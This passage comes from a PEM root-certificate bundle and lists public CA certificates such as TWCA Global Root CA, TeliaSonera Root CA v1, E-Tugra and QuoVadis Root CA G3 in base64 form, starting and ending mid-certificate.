DwAwggIKAoICAQCbqau/YUqXry+XZpp0X9DZlv3P4uRm7x8fRzPCRKPfmt4ftVTdFXxpNRFvu8gM jmoYHtiP2Ra8EEg2XPBjs5BaXCQ316PWywlxufEBcoSwfdtNgM3802/J+Nq2DoLSRYWoG2ioPej0 RGy9ocLLA76MPhMAhN9KSMDjIgro6TenGEyxCQ0jVn8ETdkXhBilyNpAlHPrzg5XPAOBOp0KoVdD aaxXbXmQeOW1tDvYvEyNKKGno6e6Ak4l0Squ7a4DIrhrIA8wKFSVf+DuzgpmndFALW4ir50awQUZ 0m/A8p/4e7MCQvtQqR0tkw8jq8bBD5L/0KIV9VMJcRz/RROE5iZe+OCIHAr8Fraocwa48GOEAqDG WuzndN9wrqODJerWx5eHk6fGioozl2A3ED6XPm4pFdahD9GILBKfb6qkxkLrQaLjlUPTAYVtjrs7 8yM2x/474KElB0iryYl0/wiPgL/AlmXz7uxLaL2diMMxs0Dx6M/2OLuc5NF/1OVYm3z61PMOm3WR 5LpSLhl+0fXNWhn8ugb2+1KoS5kE3fj5tItQo05iifCHJPqDQsGH+tUtKSpacXpkatcnYGMN285J 9Y0fkIkyF/hzQ7jSWpOGYdbhdQrqeWZ2iE9x6wQl1gpaepPluUsXQA+xtrn13k/c4LOsOxFwYIRK Q26ZIMApcQrAZQIDAQABo4ICyzCCAscwfQYIKwYBBQUHAQEEcTBvMEwGCCsGAQUFBzAChkBodHRw Oi8vd3d3LmFjY3YuZXMvZmlsZWFkbWluL0FyY2hpdm9zL2NlcnRpZmljYWRvcy9yYWl6YWNjdjEu Y3J0MB8GCCsGAQUFBzABhhNodHRwOi8vb2NzcC5hY2N2LmVzMB0GA1UdDgQWBBTSh7Tj3zcnk1X2 VuqB5TbMjB4/vTAPBgNVHRMBAf8EBTADAQH/MB8GA1UdIwQYMBaAFNKHtOPfNyeTVfZW6oHlNsyM Hj+9MIIBcwYDVR0gBIIBajCCAWYwggFiBgRVHSAAMIIBWDCCASIGCCsGAQUFBwICMIIBFB6CARAA QQB1AHQAbwByAGkAZABhAGQAIABkAGUAIABDAGUAcgB0AGkAZgBpAGMAYQBjAGkA8wBuACAAUgBh AO0AegAgAGQAZQAgAGwAYQAgAEEAQwBDAFYAIAAoAEEAZwBlAG4AYwBpAGEAIABkAGUAIABUAGUA YwBuAG8AbABvAGcA7QBhACAAeQAgAEMAZQByAHQAaQBmAGkAYwBhAGMAaQDzAG4AIABFAGwAZQBj AHQAcgDzAG4AaQBjAGEALAAgAEMASQBGACAAUQA0ADYAMAAxADEANQA2AEUAKQAuACAAQwBQAFMA IABlAG4AIABoAHQAdABwADoALwAvAHcAdwB3AC4AYQBjAGMAdgAuAGUAczAwBggrBgEFBQcCARYk aHR0cDovL3d3dy5hY2N2LmVzL2xlZ2lzbGFjaW9uX2MuaHRtMFUGA1UdHwROMEwwSqBIoEaGRGh0 dHA6Ly93d3cuYWNjdi5lcy9maWxlYWRtaW4vQXJjaGl2b3MvY2VydGlmaWNhZG9zL3JhaXphY2N2 MV9kZXIuY3JsMA4GA1UdDwEB/wQEAwIBBjAXBgNVHREEEDAOgQxhY2N2QGFjY3YuZXMwDQYJKoZI hvcNAQEFBQADggIBAJcxAp/n/UNnSEQU5CmH7UwoZtCPNdpNYbdKl02125DgBS4OxnnQ8pdpD70E R9m+27Up2pvZrqmZ1dM8MJP1jaGo/AaNRPTKFpV8M9xii6g3+CfYCS0b78gUJyCpZET/LtZ1qmxN YEAZSUNUY9rizLpm5U9EelvZaoErQNV/+QEnWCzI7UiRfD+mAM/EKXMRNt6GGT6d7hmKG9Ww7Y49 nCrADdg9ZuM8Db3VlFzi4qc1GwQA9j9ajepDvV+JHanBsMyZ4k0ACtrJJ1vnE5Bc5PUzolVt3OAJ TS+xJlsndQAJxGJ3KQhfnlmstn6tn1QwIgPBHnFk/vk4CpYY3QIUrCPLBhwepH2NDd4nQeit2hW3 sCPdK6jT2iWH7ehVRE2I9DZ+hJp4rPcOVkkO1jMl1oRQQmwgEh0q1b688nCBpHBgvgW1m54ERL5h I6zppSSMEYCUWqKiuUnSwdzRp+0xESyeGabu4VXhwOrPDYTkF7eifKXeVSUG7szAh1xA2syVP1Xg Nce4hL60Xc16gwFy7ofmXx2utYXGJt/mwZrpHgJHnyqobalbz+xFd3+YJ5oyXSrjhO7FmGYvliAd 3djDJ9ew+f7Zfc3Qn48LFFhRny+Lwzgt3uiP1o2HpPVWQxaZLPSkVrQ0uGE3ycJYgBugl6H8WY3p EfbRD0tVNEYqi4Y7 -----END CERTIFICATE----- TWCA Global Root CA =================== -----BEGIN CERTIFICATE----- MIIFQTCCAymgAwIBAgICDL4wDQYJKoZIhvcNAQELBQAwUTELMAkGA1UEBhMCVFcxEjAQBgNVBAoT CVRBSVdBTi1DQTEQMA4GA1UECxMHUm9vdCBDQTEcMBoGA1UEAxMTVFdDQSBHbG9iYWwgUm9vdCBD QTAeFw0xMjA2MjcwNjI4MzNaFw0zMDEyMzExNTU5NTlaMFExCzAJBgNVBAYTAlRXMRIwEAYDVQQK EwlUQUlXQU4tQ0ExEDAOBgNVBAsTB1Jvb3QgQ0ExHDAaBgNVBAMTE1RXQ0EgR2xvYmFsIFJvb3Qg Q0EwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCwBdvI64zEbooh745NnHEKH1Jw7W2C nJfF10xORUnLQEK1EjRsGcJ0pDFfhQKX7EMzClPSnIyOt7h52yvVavKOZsTuKwEHktSz0ALfUPZV r2YOy+BHYC8rMjk1Ujoog/h7FsYYuGLWRyWRzvAZEk2tY/XTP3VfKfChMBwqoJimFb3u/Rk28OKR Q4/6ytYQJ0lM793B8YVwm8rqqFpD/G2Gb3PpN0Wp8DbHzIh1HrtsBv+baz4X7GGqcXzGHaL3SekV tTzWoWH1EfcFbx39Eb7QMAfCKbAJTibc46KokWofwpFFiFzlmLhxpRUZyXx1EcxwdE8tmx2RRP1W KKD+u4ZqyPpcC1jcxkt2yKsi2XMPpfRaAok/T54igu6idFMqPVMnaR1sjjIsZAAmY2E2TqNGtz99 sy2sbZCilaLOz9qC5wc0GZbpuCGqKX6mOL6OKUohZnkfs8O1CWfe1tQHRvMq2uYiN2DLgbYPoA/p yJV/v1WRBXrPPRXAb94JlAGD1zQbzECl8LibZ9WYkTunhHiVJqRaCPgrdLQABDzfuBSO6N+pjWxn kjMdwLfS7JLIvgm/LCkFbwJrnu+8vyq8W8BQj0FwcYeyTbcEqYSjMq+u7msXi7Kx/mzhkIyIqJdI zshNy/MGz19qCkKxHh53L46g5pIOBvwFItIm4TFRfTLcDwIDAQABoyMwITAOBgNVHQ8BAf8EBAMC AQYwDwYDVR0TAQH/BAUwAwEB/zANBgkqhkiG9w0BAQsFAAOCAgEAXzSBdu+WHdXltdkCY4QWwa6g cFGn90xHNcgL1yg9iXHZqjNB6hQbbCEAwGxCGX6faVsgQt+i0trEfJdLjbDorMjupWkEmQqSpqsn LhpNgb+E1HAerUf+/UqdM+DyucRFCCEK2mlpc3INvjT+lIutwx4116KD7+U4x6WFH6vPNOw/KP4M 8VeGTslV9xzU2KV9Bnpv1d8Q34FOIWWxtuEXeZVFBs5fzNxGiWNoRI2T9GRwoD2dKAXDOXC4Ynsg /eTb6QihuJ49CcdP+yz4k3ZB3lLg4VfSnQO8d57+nile98FRYB/e2guyLXW3Q0iT5/Z5xoRdgFlg lPx4mI88k1HtQJAH32RjJMtOcQWh15QaiDLxInQirqWm2BJpTGCjAu4r7NRjkgtevi92a6O2JryP A9gK8kxkRr05YuWW6zRjESjMlfGt7+/cgFhI6Uu46mWs6fyAtbXIRfmswZ/ZuepiiI7E8UuDEq3m i4TWnsLrgxifarsbJGAzcMzs9zLzXNl5fe+epP7JI8Mk7hWSsT2RTyaGvWZzJBPqpK5jwa19hAM8 EHiGG3njxPPyBJUgriOCxLM6AGK/5jYk4Ve6xx6QddVfP5VhK8E7zeWzaGHQRiapIVJpLesux+t3 zqY6tQMzT3bR51xUAV3LePTJDL/PEo4XLSNolOer/qmyKwbQBM0= -----END CERTIFICATE----- TeliaSonera Root CA v1 ====================== -----BEGIN CERTIFICATE----- MIIFODCCAyCgAwIBAgIRAJW+FqD3LkbxezmCcvqLzZYwDQYJKoZIhvcNAQEFBQAwNzEUMBIGA1UE CgwLVGVsaWFTb25lcmExHzAdBgNVBAMMFlRlbGlhU29uZXJhIFJvb3QgQ0EgdjEwHhcNMDcxMDE4 MTIwMDUwWhcNMzIxMDE4MTIwMDUwWjA3MRQwEgYDVQQKDAtUZWxpYVNvbmVyYTEfMB0GA1UEAwwW VGVsaWFTb25lcmEgUm9vdCBDQSB2MTCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAMK+ 6yfwIaPzaSZVfp3FVRaRXP3vIb9TgHot0pGMYzHw7CTww6XScnwQbfQ3t+XmfHnqjLWCi65ItqwA 3GV17CpNX8GH9SBlK4GoRz6JI5UwFpB/6FcHSOcZrr9FZ7E3GwYq/t75rH2D+1665I+XZ75Ljo1k B1c4VWk0Nj0TSO9P4tNmHqTPGrdeNjPUtAa9GAH9d4RQAEX1jF3oI7x+/jXh7VB7qTCNGdMJjmhn Xb88lxhTuylixcpecsHHltTbLaC0H2kD7OriUPEMPPCs81Mt8Bz17Ww5OXOAFshSsCPN4D7c3TxH oLs1iuKYaIu+5b9y7tL6pe0S7fyYGKkmdtwoSxAgHNN/Fnct7W+A90m7UwW7XWjH1Mh1Fj+JWov3 F0fUTPHSiXk+TT2YqGHeOh7S+F4D4MHJHIzTjU3TlTazN19jY5szFPAtJmtTfImMMsJu7D0hADnJ oWjiUIMusDor8zagrC/kb2HCUQk5PotTubtn2txTuXZZNp1D5SDgPTJghSJRt8czu90VL6R4pgd7 gUY2BIbdeTXHlSw7sKMXNeVzH7RcWe/a6hBle3rQf5+ztCo3O3CLm1u5K7fsslESl1MpWtTwEhDc TwK7EpIvYtQ/aUN8Ddb8WHUBiJ1YFkveupD/RwGJBmr2X7KQarMCpgKIv7NHfirZ1fpoeDVNAgMB AAGjPzA9MA8GA1UdEwEB/wQFMAMBAf8wCwYDVR0PBAQDAgEGMB0GA1UdDgQWBBTwj1k4ALP1j5qW DNXr+nuqF+gTEjANBgkqhkiG9w0BAQUFAAOCAgEAvuRcYk4k9AwI//DTDGjkk0kiP0Qnb7tt3oNm zqjMDfz1mgbldxSR651Be5kqhOX//CHBXfDkH1e3damhXwIm/9fH907eT/j3HEbAek9ALCI18Bmx 0GtnLLCo4MBANzX2hFxc469CeP6nyQ1Q6g2EdvZR74NTxnr/DlZJLo961gzmJ1TjTQpgcmLNkQfW pb/ImWvtxBnmq0wROMVvMeJuScg/doAmAyYp4Db29iBT4xdwNBedY2gea+zDTYa4EzAvXUYNR0PV G6pZDrlcjQZIrXSHX8f8MVRBE+LHIQ6e4B4N4cB7Q4WQxYpYxmUKeFfyxiMPAdkgS94P+5KFdSpc c41teyWRyu5FrgZLAMzTsVlQ2jqIOylDRl6XK1TOU2+NSueW+r9xDkKLfP0ooNBIytrEgUy7onOT JsjrDNYmiLbAJM+7vVvrdX3pCI6GMyx5dwlppYn8s3CQh3aP0yK7Qs69cwsgJirQmz1wHiRszYd2 qReWt88NkvuOGKmYSdGe/mBEciG5Ge3C9THxOUiIkCR1VBatzvT4aRRkOfujuLpwQMcnHL/EVlP6 Y2XQ8xwOFvVrhlhNGNTkDY6lnVuR3HYkUD/GKvvZt5y11ubQ2egZixVxSK236thZiNSQvxaz2ems WWFUyBy6ysHK4bkgTI86k4mloMy/0/Z1pHWWbVY= -----END CERTIFICATE----- E-Tugra Certification Authority =============================== -----BEGIN CERTIFICATE----- MIIGSzCCBDOgAwIBAgIIamg+nFGby1MwDQYJKoZIhvcNAQELBQAwgbIxCzAJBgNVBAYTAlRSMQ8w DQYDVQQHDAZBbmthcmExQDA+BgNVBAoMN0UtVHXEn3JhIEVCRyBCaWxpxZ9pbSBUZWtub2xvamls ZXJpIHZlIEhpem1ldGxlcmkgQS7Fni4xJjAkBgNVBAsMHUUtVHVncmEgU2VydGlmaWthc3lvbiBN ZXJrZXppMSgwJgYDVQQDDB9FLVR1Z3JhIENlcnRpZmljYXRpb24gQXV0aG9yaXR5MB4XDTEzMDMw NTEyMDk0OFoXDTIzMDMwMzEyMDk0OFowgbIxCzAJBgNVBAYTAlRSMQ8wDQYDVQQHDAZBbmthcmEx QDA+BgNVBAoMN0UtVHXEn3JhIEVCRyBCaWxpxZ9pbSBUZWtub2xvamlsZXJpIHZlIEhpem1ldGxl cmkgQS7Fni4xJjAkBgNVBAsMHUUtVHVncmEgU2VydGlmaWthc3lvbiBNZXJrZXppMSgwJgYDVQQD DB9FLVR1Z3JhIENlcnRpZmljYXRpb24gQXV0aG9yaXR5MIICIjANBgkqhkiG9w0BAQEFAAOCAg8A MIICCgKCAgEA4vU/kwVRHoViVF56C/UYB4Oufq9899SKa6VjQzm5S/fDxmSJPZQuVIBSOTkHS0vd hQd2h8y/L5VMzH2nPbxHD5hw+IyFHnSOkm0bQNGZDbt1bsipa5rAhDGvykPL6ys06I+XawGb1Q5K CKpbknSFQ9OArqGIW66z6l7LFpp3RMih9lRozt6Plyu6W0ACDGQXwLWTzeHxE2bODHnv0ZEoq1+g ElIwcxmOj+GMB6LDu0rw6h8VqO4lzKRG+Bsi77MOQ7osJLjFLFzUHPhdZL3Dk14opz8n8Y4e0ypQ BaNV2cvnOVPAmJ6MVGKLJrD3fY185MaeZkJVgkfnsliNZvcHfC425lAcP9tDJMW/hkd5s3kc91r0 E+xs+D/iWR+V7kI+ua2oMoVJl0b+SzGPWsutdEcf6ZG33ygEIqDUD13ieU/qbIWGvaimzuT6w+Gz rt48Ue7LE3wBf4QOXVGUnhMMti6lTPk5cDZvlsouDERVxcr6XQKj39ZkjFqzAQqptQpHF//vkUAq jqFGOjGY5RH8zLtJVor8udBhmm9lbObDyz51Sf6Pp+KJxWfXnUYTTjF2OySznhFlhqt/7x3U+Lzn rFpct1pHXFXOVbQicVtbC/DP3KBhZOqp12gKY6fgDT+gr9Oq0n7vUaDmUStVkhUXU8u3Zg5mTPj5 dUyQ5xJwx0UCAwEAAaNjMGEwHQYDVR0OBBYEFC7j27JJ0JxUeVz6Jyr+zE7S6E5UMA8GA1UdEwEB /wQFMAMBAf8wHwYDVR0jBBgwFoAULuPbsknQnFR5XPonKv7MTtLoTlQwDgYDVR0PAQH/BAQDAgEG MA0GCSqGSIb3DQEBCwUAA4ICAQAFNzr0TbdF4kV1JI+2d1LoHNgQk2Xz8lkGpD4eKexd0dCrfOAK kEh47U6YA5n+KGCRHTAduGN8qOY1tfrTYXbm1gdLymmasoR6d5NFFxWfJNCYExL/u6Au/U5Mh/jO XKqYGwXgAEZKgoClM4so3O0409/lPun++1ndYYRP0lSWE2ETPo+Aab6TR7U1Q9Jauz1c77NCR807 VRMGsAnb/WP2OogKmW9+4c4bU2pEZiNRCHu8W1Ki/QY3OEBhj0qWuJA3+GbHeJAAFS6LrVE1Uweo a2iu+U48BybNCAVwzDk/dr2l02cmAYamU9JgO3xDf1WKvJUawSg5TB9D0pH0clmKuVb8P7Sd2nCc dlqMQ1DujjByTd//SffGqWfZbawCEeI6FiWnWAjLb1NBnEg4R2gz0dfHj9R0IdTDBZB6/86WiLEV KV0jq9BgoRJP3vQXzTLlyb/IQ639Lo7xr+L0mPoSHyDYwKcMhcWQ9DstliaxLL5Mq+ux0orJ23gT Dx4JnW2PAJ8C2sH6H3p6CcRK5ogql5+Ji/03X186zjhZhkuvcQu02PJwT58yE+Owp1fl2tpDy4Q0 8ijE6m30Ku/Ba3ba+367hTzSU8JNvnHhRdH9I2cNE3X7z2VnIp2usAnRCf8dNL/+I5c30jn6PQ0G C7TbO6Orb1wdtn7os4I07QZcJA== -----END CERTIFICATE----- T-TeleSec GlobalRoot Class 2 ============================ -----BEGIN CERTIFICATE----- MIIDwzCCAqugAwIBAgIBATANBgkqhkiG9w0BAQsFADCBgjELMAkGA1UEBhMCREUxKzApBgNVBAoM IlQtU3lzdGVtcyBFbnRlcnByaXNlIFNlcnZpY2VzIEdtYkgxHzAdBgNVBAsMFlQtU3lzdGVtcyBU cnVzdCBDZW50ZXIxJTAjBgNVBAMMHFQtVGVsZVNlYyBHbG9iYWxSb290IENsYXNzIDIwHhcNMDgx MDAxMTA0MDE0WhcNMzMxMDAxMjM1OTU5WjCBgjELMAkGA1UEBhMCREUxKzApBgNVBAoMIlQtU3lz dGVtcyBFbnRlcnByaXNlIFNlcnZpY2VzIEdtYkgxHzAdBgNVBAsMFlQtU3lzdGVtcyBUcnVzdCBD ZW50ZXIxJTAjBgNVBAMMHFQtVGVsZVNlYyBHbG9iYWxSb290IENsYXNzIDIwggEiMA0GCSqGSIb3 DQEBAQUAA4IBDwAwggEKAoIBAQCqX9obX+hzkeXaXPSi5kfl82hVYAUdAqSzm1nzHoqvNK38DcLZ SBnuaY/JIPwhqgcZ7bBcrGXHX+0CfHt8LRvWurmAwhiCFoT6ZrAIxlQjgeTNuUk/9k9uN0goOA/F vudocP05l03Sx5iRUKrERLMjfTlH6VJi1hKTXrcxlkIF+3anHqP1wvzpesVsqXFP6st4vGCvx970 2cu+fjOlbpSD8DT6IavqjnKgP6TeMFvvhk1qlVtDRKgQFRzlAVfFmPHmBiiRqiDFt1MmUUOyCxGV WOHAD3bZwI18gfNycJ5v/hqO2V81xrJvNHy+SE/iWjnX2J14np+GPgNeGYtEotXHAgMBAAGjQjBA MA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMB0GA1UdDgQWBBS/WSA2AHmgoCJrjNXy YdK4LMuCSjANBgkqhkiG9w0BAQsFAAOCAQEAMQOiYQsfdOhyNsZt+U2e+iKo4YFWz827n+qrkRk4 r6p8FU3ztqONpfSO9kSpp+ghla0+AGIWiPACuvxhI+YzmzB6azZie60EI4RYZeLbK4rnJVM3YlNf vNoBYimipidx5joifsFvHZVwIEoHNN/q/xWA5brXethbdXwFeilHfkCoMRN3zUA7tFFHei4R40cR 3p1m0IvVVGb6g1XqfMIpiRvpb7PO4gWEyS8+eIVibslfwXhjdFjASBgMmTnrpMwatXlajRWc2BQN 9noHV8cigwUtPJslJj0Ys6lDfMjIq2SPDqO/nBudMNva0Bkuqjzx+zOAduTNrRlPBSeOE6Fuwg== -----END CERTIFICATE----- Atos TrustedRoot 2011 ===================== -----BEGIN CERTIFICATE----- MIIDdzCCAl+gAwIBAgIIXDPLYixfszIwDQYJKoZIhvcNAQELBQAwPDEeMBwGA1UEAwwVQXRvcyBU cnVzdGVkUm9vdCAyMDExMQ0wCwYDVQQKDARBdG9zMQswCQYDVQQGEwJERTAeFw0xMTA3MDcxNDU4 MzBaFw0zMDEyMzEyMzU5NTlaMDwxHjAcBgNVBAMMFUF0b3MgVHJ1c3RlZFJvb3QgMjAxMTENMAsG A1UECgwEQXRvczELMAkGA1UEBhMCREUwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCV hTuXbyo7LjvPpvMpNb7PGKw+qtn4TaA+Gke5vJrf8v7MPkfoepbCJI419KkM/IL9bcFyYie96mvr 54rMVD6QUM+A1JX76LWC1BTFtqlVJVfbsVD2sGBkWXppzwO3bw2+yj5vdHLqqjAqc2K+SZFhyBH+ DgMq92og3AIVDV4VavzjgsG1xZ1kCWyjWZgHJ8cblithdHFsQ/H3NYkQ4J7sVaE3IqKHBAUsR320 HLliKWYoyrfhk/WklAOZuXCFteZI6o1Q/NnezG8HDt0Lcp2AMBYHlT8oDv3FdU9T1nSatCQujgKR z3bFmx5VdJx4IbHwLfELn8LVlhgf8FQieowHAgMBAAGjfTB7MB0GA1UdDgQWBBSnpQaxLKYJYO7R l+lwrrw7GWzbITAPBgNVHRMBAf8EBTADAQH/MB8GA1UdIwQYMBaAFKelBrEspglg7tGX6XCuvDsZ bNshMBgGA1UdIAQRMA8wDQYLKwYBBAGwLQMEAQEwDgYDVR0PAQH/BAQDAgGGMA0GCSqGSIb3DQEB CwUAA4IBAQAmdzTblEiGKkGdLD4GkGDEjKwLVLgfuXvTBznk+j57sj1O7Z8jvZfza1zv7v1Apt+h k6EKhqzvINB5Ab149xnYJDE0BAGmuhWawyfc2E8PzBhj/5kPDpFrdRbhIfzYJsdHt6bPWHJxfrrh TZVHO8mvbaG0weyJ9rQPOLXiZNwlz6bb65pcmaHFCN795trV1lpFDMS3wrUU77QR/w4VtfX128a9 61qn8FYiqTxlVMYVqL2Gns2Dlmh6cYGJ4Qvh6hEbaAjMaZ7snkGeRDImeuKHCnE96+RapNLbxc3G 3mB/ufNPRJLvKrcYPqcZ2Qt9sTdBQrC6YB3y/gkRsPCHe6ed -----END CERTIFICATE----- QuoVadis Root CA 1 G3 ===================== -----BEGIN CERTIFICATE----- MIIFYDCCA0igAwIBAgIUeFhfLq0sGUvjNwc1NBMotZbUZZMwDQYJKoZIhvcNAQELBQAwSDELMAkG A1UEBhMCQk0xGTAXBgNVBAoTEFF1b1ZhZGlzIExpbWl0ZWQxHjAcBgNVBAMTFVF1b1ZhZGlzIFJv b3QgQ0EgMSBHMzAeFw0xMjAxMTIxNzI3NDRaFw00MjAxMTIxNzI3NDRaMEgxCzAJBgNVBAYTAkJN MRkwFwYDVQQKExBRdW9WYWRpcyBMaW1pdGVkMR4wHAYDVQQDExVRdW9WYWRpcyBSb290IENBIDEg RzMwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCgvlAQjunybEC0BJyFuTHK3C3kEakE PBtVwedYMB0ktMPvhd6MLOHBPd+C5k+tR4ds7FtJwUrVu4/sh6x/gpqG7D0DmVIB0jWerNrwU8lm PNSsAgHaJNM7qAJGr6Qc4/hzWHa39g6QDbXwz8z6+cZM5cOGMAqNF34168Xfuw6cwI2H44g4hWf6 Pser4BOcBRiYz5P1sZK0/CPTz9XEJ0ngnjybCKOLXSoh4Pw5qlPafX7PGglTvF0FBM+hSo+LdoIN ofjSxxR3W5A2B4GbPgb6Ul5jxaYA/qXpUhtStZI5cgMJYr2wYBZupt0lwgNm3fME0UDiTouG9G/l g6AnhF4EwfWQvTA9xO+oabw4m6SkltFi2mnAAZauy8RRNOoMqv8hjlmPSlzkYZqn0ukqeI1RPToV 7qJZjqlc3sX5kCLliEVx3ZGZbHqfPT2YfF72vhZooF6uCyP8Wg+qInYtyaEQHeTTRCOQiJ/GKubX 9ZqzWB4vMIkIG1SitZgj7Ah3HJVdYdHLiZxfokqRmu8hqkkWCKi9YSgxyXSthfbZxbGL0eUQMk1f iyA6PEkfM4VZDdvLCXVDaXP7a3F98N/ETH3Goy7IlXnLc6KOTk0k+17kBL5yG6YnLUlamXrXXAkg t3+UuU/xDRxeiEIbEbfnkduebPRq34wGmAOtzCjvpUfzUwIDAQABo0IwQDAPBgNVHRMBAf8EBTAD AQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQUo5fW816iEOGrRZ88F2Q87gFwnMwwDQYJKoZI hvcNAQELBQADggIBABj6W3X8PnrHX3fHyt/PX8MSxEBd1DKquGrX1RUVRpgjpeaQWxiZTOOtQqOC MTaIzen7xASWSIsBx40Bz1szBpZGZnQdT+3Btrm0DWHMY37XLneMlhwqI2hrhVd2cDMT/uFPpiN3 GPoajOi9ZcnPP/TJF9zrx7zABC4tRi9pZsMbj/7sPtPKlL92CiUNqXsCHKnQO18LwIE6PWThv6ct Tr1NxNgpxiIY0MWscgKCP6o6ojoilzHdCGPDdRS5YCgtW2jgFqlmgiNR9etT2DGbe+m3nUvriBbP +V04ikkwj+3x6xn0dxoxGE1nVGwvb2X52z3sIexe9PSLymBlVNFxZPT5pqOBMzYzcfCkeF9OrYMh 3jRJjehZrJ3ydlo28hP0r+AJx2EqbPfgna67hkooby7utHnNkDPDs3b69fBsnQGQ+p6Q9pxyz0fa wx/kNSBT8lTR32GDpgLiJTjehTItXnOQUl1CxM49S+H5GYQd1aJQzEH7QRTDvdbJWqNjZgKAvQU6 O0ec7AAmTPWIUb+oI38YB7AL7YsmoWTTYUrrXJ/es69nA7Mf3W1daWhpq1467HxpvMc7hU6eFbm0 FU/DlXpY18ls6Wy58yljXrQs8C097Vpl4KlbQMJImYFtnh8GKjwStIsPm6Ik8KaN1nrgS7ZklmOV hMJKzRwuJIczYOXD -----END CERTIFICATE----- QuoVadis Root CA 2 G3 ===================== -----BEGIN CERTIFICATE----- MIIFYDCCA0igAwIBAgIURFc0JFuBiZs18s64KztbpybwdSgwDQYJKoZIhvcNAQELBQAwSDELMAkG A1UEBhMCQk0xGTAXBgNVBAoTEFF1b1ZhZGlzIExpbWl0ZWQxHjAcBgNVBAMTFVF1b1ZhZGlzIFJv b3QgQ0EgMiBHMzAeFw0xMjAxMTIxODU5MzJaFw00MjAxMTIxODU5MzJaMEgxCzAJBgNVBAYTAkJN MRkwFwYDVQQKExBRdW9WYWRpcyBMaW1pdGVkMR4wHAYDVQQDExVRdW9WYWRpcyBSb290IENBIDIg RzMwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQChriWyARjcV4g/Ruv5r+LrI3HimtFh ZiFfqq8nUeVuGxbULX1QsFN3vXg6YOJkApt8hpvWGo6t/x8Vf9WVHhLL5hSEBMHfNrMWn4rjyduY NM7YMxcoRvynyfDStNVNCXJJ+fKH46nafaF9a7I6JaltUkSs+L5u+9ymc5GQYaYDFCDy54ejiK2t oIz/pgslUiXnFgHVy7g1gQyjO/Dh4fxaXc6AcW34Sas+O7q414AB+6XrW7PFXmAqMaCvN+ggOp+o MiwMzAkd056OXbxMmO7FGmh77FOm6RQ1o9/NgJ8MSPsc9PG/Srj61YxxSscfrf5BmrODXfKEVu+l V0POKa2Mq1W/xPtbAd0jIaFYAI7D0GoT7RPjEiuA3GfmlbLNHiJuKvhB1PLKFAeNilUSxmn1uIZo L1NesNKqIcGY5jDjZ1XHm26sGahVpkUG0CM62+tlXSoREfA7T8pt9DTEceT/AFr2XK4jYIVz8eQQ sSWu1ZK7E8EM4DnatDlXtas1qnIhO4M15zHfeiFuuDIIfR0ykRVKYnLP43ehvNURG3YBZwjgQQvD 6xVu+KQZ2aKrr+InUlYrAoosFCT5v0ICvybIxo/gbjh9Uy3l7ZizlWNof/k19N+IxWA1ksB8aRxh lRbQ694Lrz4EEEVlWFA4r0jyWbYW8jwNkALGcC4BrTwV1wIDAQABo0IwQDAPBgNVHRMBAf8EBTAD AQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQU7edvdlq/YOxJW8ald7tyFnGbxD0wDQYJKoZI hvcNAQELBQADggIBAJHfgD9DCX5xwvfrs4iP4VGyvD11+ShdyLyZm3tdquXK4Qr36LLTn91nMX66 AarHakE7kNQIXLJgapDwyM4DYvmL7ftuKtwGTTwpD4kWilhMSA/ohGHqPHKmd+RCroijQ1h5fq7K pVMNqT1wvSAZYaRsOPxDMuHBR//47PERIjKWnML2W2mWeyAMQ0GaW/ZZGYjeVYg3UQt4XAoeo0L9 x52ID8DyeAIkVJOviYeIyUqAHerQbj5hLja7NQ4nlv1mNDthcnPxFlxHBlRJAHpYErAK74X9sbgz dWqTHBLmYF5vHX/JHyPLhGGfHoJE+V+tYlUkmlKY7VHnoX6XOuYvHxHaU4AshZ6rNRDbIl9qxV6X U/IyAgkwo1jwDQHVcsaxfGl7w/U2Rcxhbl5MlMVerugOXou/983g7aEOGzPuVBj+D77vfoRrQ+Nw mNtddbINWQeFFSM51vHfqSYP1kjHs6Yi9TM3WpVHn3u6GBVv/9YUZINJ0gpnIdsPNWNgKCLjsZWD zYWm3S8P52dSbrsvhXz1SnPnxT7AvSESBT/8twNJAlvIJebiVDj1eYeMHVOyToV7BjjHLPj4sHKN JeV3UvQDHEimUF+IIDBu8oJDqz2XhOdT+yHBTw8imoa4WSr2Rz0ZiC3oheGe7IUIarFsNMkd7Egr O3jtZsSOeWmD3n+M -----END CERTIFICATE----- QuoVadis Root CA 3 G3 ===================== -----BEGIN CERTIFICATE----- MIIFYDCCA0igAwIBAgIULvWbAiin23r/1aOp7r0DoM8Sah0wDQYJKoZIhvcNAQELBQAwSDELMAkG A1UEBhMCQk0xGTAXBgNVBAoTEFF1b1ZhZGlzIExpbWl0ZWQxHjAcBgNVBAMTFVF1b1ZhZGlzIFJv b3QgQ0EgMyBHMzAeFw0xMjAxMTIyMDI2MzJaFw00MjAxMTIyMDI2MzJaMEgxCzAJBgNVBAYTAkJN MRkwFwYDVQQKExBRdW9WYWRpcyBMaW1pdGVkMR4wHAYDVQQDExVRdW9WYWRpcyBSb290IENBIDMg RzMwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCzyw4QZ47qFJenMioKVjZ/aEzHs286 IxSR/xl/pcqs7rN2nXrpixurazHb+gtTTK/FpRp5PIpM/6zfJd5O2YIyC0TeytuMrKNuFoM7pmRL Mon7FhY4futD4tN0SsJiCnMK3UmzV9KwCoWdcTzeo8vAMvMBOSBDGzXRU7Ox7sWTaYI+FrUoRqHe 6okJ7UO4BUaKhvVZR74bbwEhELn9qdIoyhA5CcoTNs+cra1AdHkrAj80//ogaX3T7mH1urPnMNA3 I4ZyYUUpSFlob3emLoG+B01vr87ERRORFHAGjx+f+IdpsQ7vw4kZ6+ocYfx6bIrc1gMLnia6Et3U VDmrJqMz6nWB2i3ND0/kA9HvFZcba5DFApCTZgIhsUfei5pKgLlVj7WiL8DWM2fafsSntARE60f7 5li59wzweyuxwHApw0BiLTtIadwjPEjrewl5qW3aqDCYz4ByA4imW0aucnl8CAMhZa634RylsSqi Md5mBPfAdOhx3v89WcyWJhKLhZVXGqtrdQtEPREoPHtht+KPZ0/l7DxMYIBpVzgeAVuNVejH38DM 